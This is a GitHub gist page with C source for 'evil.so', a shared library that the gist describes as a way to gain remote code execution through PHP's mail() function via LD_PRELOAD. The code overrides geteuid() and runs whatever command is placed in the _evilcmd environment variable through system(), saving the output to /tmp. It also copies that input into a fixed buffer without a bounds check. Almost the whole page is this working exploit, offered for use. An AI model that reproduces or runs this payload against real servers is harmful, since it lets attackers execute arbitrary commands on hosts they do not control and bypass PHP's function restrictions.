Skip to content

Instantly share code, notes, and snippets.

@tarunkant
Created January 21, 2019 11:41
Show Gist options
  • Select an option

  • Save tarunkant/d44c29402eef9b6fa399876f6e73b607 to your computer and use it in GitHub Desktop.

Select an option

Save tarunkant/d44c29402eef9b6fa399876f6e73b607 to your computer and use it in GitHub Desktop.
It will create evil.so file for getting RCE through mail() via LD_PRELOAD
/* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload(char *cmd) {
char buf[512];
strcpy(buf, cmd);
strcat(buf, " > /tmp/_0utput.txt");
system(buf);
}
int geteuid() {
char *cmd;
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
if ((cmd = getenv("_evilcmd")) != NULL) {
payload(cmd);
}
return 1;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment